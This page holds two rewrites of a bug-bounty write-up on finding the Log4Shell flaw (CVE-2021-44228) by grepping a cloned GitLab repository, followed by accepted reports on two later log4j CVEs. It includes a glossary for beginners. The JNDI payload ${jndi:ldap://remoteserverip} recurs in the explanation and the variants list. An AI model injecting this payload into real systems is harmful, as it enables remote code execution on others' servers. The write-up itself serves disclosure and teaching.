How did I find Log4j vulnerability via Static Code Analysis and receive €€€ bounty?
The application used a vulnerable version of the Log4j library (2.14.1), which is susceptible to remote code execution via a crafted log message. An attacker could exploit this to execute arbitrary code on the server.
Published on medium.com
Log4shell., zero-day exploit in the popular Java logging library log4j2 was discovered that result in Remote Code Execution (RCE) by logging a certain string. It is an open-source java-based logging framework commonly into apache web servers and if any application is using the vulnerable version of the log4j library…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Log4Shell is a zero-day exploit in the popular Java logging library log4j2 that results in Remote Code Execution (RCE) by logging a certain string. log4j is an open-source Java-based logging framework commonly used in Apache web servers, and any application using a vulnerable version of the library can be vulnerable to this exploit. The issue is tracked as CVE-2021-44228, exists in the log4j library, is very critical in nature and has a CVSS score of 10, the highest possible severity rating.
CVE-2021-44228 works on:
log4j: 2.0 <= Apache log4j <= 2.14.1
Payload: ${jndi:ldap://remoteserverip}

The target in this write-up is a bug bounty program; the researcher went to the organisation's GitLab profile and cloned the entire application to his local machine. The report does not name the organisation or the application.
Setup
Once the zero-day exploit was released, every bug bounty hunter was sending requests with its payload to every possible endpoint and trying to exploit it. The researcher picked one bug bounty program and tried to find the log4j vulnerability through that route, without success.
The approach that followed started from the organisation's GitLab profile: the entire application was cloned to the local machine. The tool used for the search was grep, run against the cloned repository path.
Finding it
Because the request-based attempts had failed, the researcher moved to the source. To find whether the application was vulnerable to log4j, it first had to be established whether it used log4j at all, and if so, at which endpoint. The following command was executed:
grep -Rw <GitlabRepoPath> -e ‘log4j’
The command returned the file name and the line containing log4j in it. The researcher describes this as a very efficient method to find any particular string from the hierarchy of folders and files.

The search surfaced the following line of code:
<log4j. version>2.14.1</log4j. version>
Version 2.14.1 falls inside the vulnerable range of CVE-2021-44228, so the source showed the application used a vulnerable version of log4j. The researcher reported it to the organisation immediately.

That first submission was duplicated and rejected: the same issue had been raised by the internal team a few days earlier.
Exploitation
Step 1: Confirm the library and its version in source
The recursive, whole-word grep over the cloned repository identified the files and lines that reference log4j. The version declaration <log4j. version>2.14.1</log4j. version> placed the application in the affected range 2.0 <= Apache log4j <= 2.14.1. This step establishes the precondition for exploitation rather than performing it: the source shows a vulnerable version is present.
Step 2: Report CVE-2021-44228
The vulnerable version was reported to the organisation. The submission was marked as a duplicate and rejected, because the internal team had raised the same issue a few days before.
Step 3: Report the follow-up vulnerabilities
A notification from Google announced that a new zero-day exploit had been found in log4j, CVE-2021-45105. Since the researcher already knew that this domain was using log4j, the issue was reported immediately with the necessary details. A few days later another notification announced CVE-2021-44832, and that was reported as well.
Step 4: Outcome
Both of those submissions were marked as Accepted and rewarded with a bounty of €€€.

Root cause
The application depended on log4j 2.14.1, a version inside the range affected by CVE-2021-44228. In log4j2, a logged string containing a JNDI lookup such as ${jndi:ldap://remoteserverip} is resolved, which allows an attacker who can get that string into a log message to trigger a remote lookup and, through it, remote code execution. The report does not describe which endpoint or parameter reaches the logging call; the source search only shows that the vulnerable library version is present. Why existing defences did not stop it is likewise not discussed in the report.
Impact
Per the report, the flaw results in Remote Code Execution by logging a certain string, and the CVSS score is 10. The report does not demonstrate the practical impact on this specific application. The first report of CVE-2021-44228 was rejected as a duplicate of an internally raised issue; the later CVE-2021-45105 and CVE-2021-44832 submissions were accepted and rewarded.
Fix
Variants to test
- Clone an application from an organisation's GitLab profile and run the same search for the library name. A positive result is a file and line showing a version inside the vulnerable range, as happened here with
<log4j. version>2.14.1</log4j. version>. - Search for the JNDI lookup pattern itself in source and configuration, not just the library name. A positive result is a logged string built from user input that can carry
${jndi:ldap://...}. - Repeat the source search for the identifiers of the follow-up CVEs (CVE-2021-45105 and CVE-2021-44832) once advisories are published. A positive result is a dependency version listed as affected in the advisory.
- Keep up to date with security vulnerabilities and exploits, as the researcher's closing tip advises: new zero-days in a library you have already fingerprinted can be reported against the same application.
What happened, in plain words
A security researcher found that a company's application was using an old, dangerous piece of software called log4j. He found it not by attacking the website, but by cloning the application from the company's GitLab profile and reading its source code. He reported the problem, was told it had already been found internally, and later reported two newer problems in the same software. Those two reports were accepted and he was paid a bounty.
This article walks through exactly what he did, in the order he did it, and explains every term along the way. You only need to be able to use a browser and a computer to follow it.
The software at the centre of it: log4j
Almost every website and app needs to keep a record of what happens while it runs: who logged in, what page was requested, what error occurred. This record is called a log, and the act of writing to it is called logging. Think of it as a diary that the program writes to automatically, so that when something goes wrong an engineer can go back and read what happened.
log4j (sometimes written log4j2) is a free, open-source library written in the Java programming language that does this logging for you. A library is a bundle of ready-made code that programmers drop into their own program instead of writing everything from scratch, a bit like using a ready-made cake mix rather than measuring flour yourself. Open-source means the code is published publicly and anyone can read it, use it and copy it. Because log4j is free and convenient, it ended up inside a huge number of Java applications, and it is commonly used in Apache web servers. (Apache is one of the most common pieces of software used to serve websites).
The vulnerability: Log4Shell
A serious flaw was found in log4j. It was a zero-day, which means a flaw that was not known to the software's makers, so there was no fix ready when it was disclosed.
The flaw works like this. log4j does not just write down whatever text it is given. It also looks inside that text for special instructions written in a particular format, and if it finds them, it follows them. One of those instructions is a JNDI lookup. JNDI is a Java feature that lets a program fetch something from another location, for example another server on the network. So if an attacker can get a string like ${jndi:ldap://remoteserverip} into something that gets logged, log4j will resolve the lookup and the attacker can achieve remote code execution. If the attacker controls that server, they can make the application run their own code. That is called Remote Code Execution, or RCE: the attacker, sitting somewhere else entirely, gets their code to run on the victim's machine.
The flaw is tracked as CVE-2021-44228. A CVE is a public catalogue number for a known security flaw, so that everyone in the world can refer to the same issue by the same name. It is very critical in nature and has a CVSS score of 10, the highest possible severity rating. CVSS is a standard scoring system for how bad a security flaw is, where 10 is the worst.
CVE-2021-44228 works on:
log4j: 2.0 <= Apache log4j <= 2.14.1
Payload: ${jndi:ldap://remoteserverip}
Line by line:
log4j: 2.0 <= Apache log4j <= 2.14.1says that every version of log4j from 2.0 up to and including 2.14.1 is affected. The<=symbol means "less than or equal to". Versions are numbered releases of software, like editions of a book; newer editions usually fix problems found in older ones.Payload: ${jndi:ldap://remoteserverip}is the payload, the actual text an attacker sends.remoteserveripis a placeholder for the address of a server the attacker controls. LDAP is a protocol, a language computers use to talk to each other, that JNDI can use to fetch things.

The target
The researcher was working through a bug bounty program. A bug bounty is an arrangement where a company publicly invites security researchers to look for flaws in its systems and pays them for valid findings, instead of punishing them. The company in this write-up is not named, and neither is the application. What matters is that the researcher went to the organisation's GitLab profile. GitLab is a website where software teams store and share their code; a profile there is like a public folder of the company's projects.
Setup: why he changed approach
Once the zero-day exploit was released, every bug bounty hunter was sending requests with its payload to every possible endpoint and trying to exploit it. A request is what your browser sends to a website when you visit a page or submit a form: "please give me this". An endpoint is a specific address on a website that accepts such requests, like a particular counter in a large building. Sending the payload to endpoints is the obvious approach: you try the attack everywhere and hope one place logs your text.
The researcher picked one bug bounty program and tried to find the log4j vulnerability through that route, without success. So he changed tactics. Instead of guessing which endpoint might be vulnerable, he went and read the code.
He cloned the entire application to his local machine. Cloning means making a full copy of a code repository (a project's collection of files) onto your own computer. He did this by going to the organisation's GitLab profile and cloning the entire application.
Finding it: searching the code
Because the request-based attempts had failed, the researcher moved to the source. Source code is the human-readable text programmers write; it is what gets turned into the running application. Reading it is called static code analysis: "static" because you are examining the code while it sits still, not while it runs. It is like inspecting a car's engine in the garage rather than test-driving it.
To find whether the application was vulnerable to log4j, it first had to be established whether it used log4j at all, and if so, at which endpoint. Reading every file by hand would take forever, so he used a search tool called grep. grep is a command-line program that searches through text for a pattern and prints the matching lines. The command line is a text-based way of giving your computer instructions by typing them, rather than clicking.
The following command was executed:
grep -Rw <GitlabRepoPath> -e ‘log4j’
Line by line:
grepis the name of the search tool being run.-Rtells it to search recursively: to go into every folder inside the starting folder, and every folder inside those, all the way down. Think of it as searching every room, cupboard and drawer in a building rather than just the entrance hall.-e ‘log4j’supplies the pattern, the text to look for.-eis how you tell grep "here comes the thing to search for".<GitlabRepoPath>is a placeholder for the location on the researcher's computer where the cloned repository sits. The angle brackets mean "put your own value here".
The command returned the file name and the line containing log4j in it. The researcher describes this as a very efficient method to find any particular string from the hierarchy of folders and files. In other words, instead of opening hundreds of files one by one, one command points you straight at the few lines that matter.

The line that confirmed it
The search surfaced the following line of code:
<log4j. version>2.14.1</log4j. version>
Line by line:
- This is written in XML, a format for storing structured information using tags in angle brackets, where an opening tag like
<log4j. version>and a closing tag like</log4j. version>wrap a value. - The value between the tags is
2.14.1, which is the version of log4j the application declares it uses.
Version 2.14.1 falls inside the vulnerable range of CVE-2021-44228, so the source showed the application used a vulnerable version of log4j. The researcher reported it to the organisation immediately.

That first submission was duplicated and rejected: the same issue had been raised by the internal team a few days earlier. In bug bounty terms, a duplicate is a report of a flaw that has already been reported, so it does not earn a reward. The company's own staff had spotted it first.
Exploitation
Step 1: Confirm the library and its version in source
The recursive, whole-word grep over the cloned repository identified the files and lines that reference log4j. The version declaration <log4j. version>2.14.1</log4j. version> placed the application in the affected range 2.0 <= Apache log4j <= 2.14.1. This step establishes the precondition for exploitation rather than performing it: the source shows a vulnerable version is present. In plain terms, he proved the dangerous ingredient was in the recipe; he did not yet cook the dish.
Step 2: Report CVE-2021-44228
The vulnerable version was reported to the organisation. The submission was marked as a duplicate and rejected, because the internal team had raised the same issue a few days before.
Step 3: Report the follow-up vulnerabilities
A notification from Google announced that a new zero-day exploit had been found in log4j, CVE-2021-45105. Since the researcher already knew that this domain was using log4j, the issue was reported immediately with the necessary details. A few days later another notification announced CVE-2021-44832, and that was reported as well.
This is the payoff of the earlier work. Once you know a particular application uses a particular library, every new flaw announced in that library is a fresh lead for that same application. The first report being a duplicate did not make the research wasted; it told him exactly where to look next.
Step 4: Outcome
Both of those submissions were marked as Accepted and rewarded with a bounty of €€€.

Root cause
The application depended on log4j 2.14.1, a version inside the range affected by CVE-2021-44228. In log4j2, a logged string containing a JNDI lookup such as ${jndi:ldap://remoteserverip} is resolved, which allows an attacker who can get that string into a log message to trigger a remote lookup and, through it, remote code execution. The report does not describe which endpoint or parameter reaches the logging call; the source search only shows that the vulnerable library version is present. Why existing defences did not stop it is likewise not discussed in the report.
Impact
Per the report, the flaw results in Remote Code Execution by logging a certain string, and the CVSS score is 10. The report does not demonstrate the practical impact on this specific application. The first report of CVE-2021-44228 was rejected as a duplicate of an internally raised issue; the later CVE-2021-45105 and CVE-2021-44832 submissions were accepted and rewarded.
Fix
The report does not state what the organisation changed.
Variants to test
- Clone an application from an organisation's GitLab profile and run the same search for the library name. A positive result is a file and line showing a version inside the vulnerable range, as happened here with
<log4j. version>2.14.1</log4j. version>. - Search for the JNDI lookup pattern itself in source and configuration, not just the library name. A positive result is a logged string built from user input that can carry
${jndi:ldap://...}. - Repeat the source search for the identifiers of the follow-up CVEs (CVE-2021-45105 and CVE-2021-44832) once advisories are published. A positive result is a dependency version listed as affected in the advisory.
- Keep up to date with security vulnerabilities and exploits, as the researcher's closing tip advises: new zero-days in a library you have already fingerprinted can be reported against the same application.
Glossary
- Apache web server: one of the most common pieces of software used to serve websites to visitors.
- Bug bounty program: a scheme where a company invites researchers to find flaws in its systems and pays for valid findings.
- Bounty: the payment a company gives for a valid security report.
- Cloning: making a full copy of a code repository onto your own computer.
- Command line: a text-based way of giving a computer instructions by typing them.
- CVE: a public catalogue number for a known security flaw, so everyone can refer to the same issue by the same name.
- CVSS score: a standard score for how severe a security flaw is, from 0 to 10, where 10 is the worst.
- Duplicate: a report of a flaw that has already been reported, so it does not earn a reward.
- Endpoint: a specific address on a website that accepts requests.
- GitLab: a website where software teams store and share their code.
- grep: a command-line program that searches text for a pattern and prints the matching lines.
- Java: a widely used programming language.
- JNDI: a Java feature that lets a program fetch something from another location, such as another server.
- LDAP: a protocol computers use to talk to each other, which JNDI can use to fetch things.
- Library: a bundle of ready-made code that programmers reuse instead of writing everything from scratch.
- Log / logging: the automatic record a program keeps of what happens while it runs.
- log4j (log4j2): a free, open-source Java library that handles logging for applications.
- Open-source: code that is published publicly and can be read, used and copied by anyone.
- Payload: the actual text or data an attacker sends to try to trigger a flaw.
- Pattern: the text you ask a search tool to look for.
- Recursive: searching every folder inside a folder, all the way down.
- Remote Code Execution (RCE): when an attacker gets their own code to run on someone else's machine.
- Request: what a browser sends to a website when you visit a page or submit a form.
- Source code: the human-readable text programmers write, which becomes the running application.
- Static code analysis: examining source code while it sits still, rather than while it runs.
- Whole word: matching a search term only when it stands on its own, not as part of a longer word.
- XML: a format for storing structured information using tags in angle brackets.
- Zero-day: a flaw that was not known to the software's makers, so there was no fix ready when it was disclosed.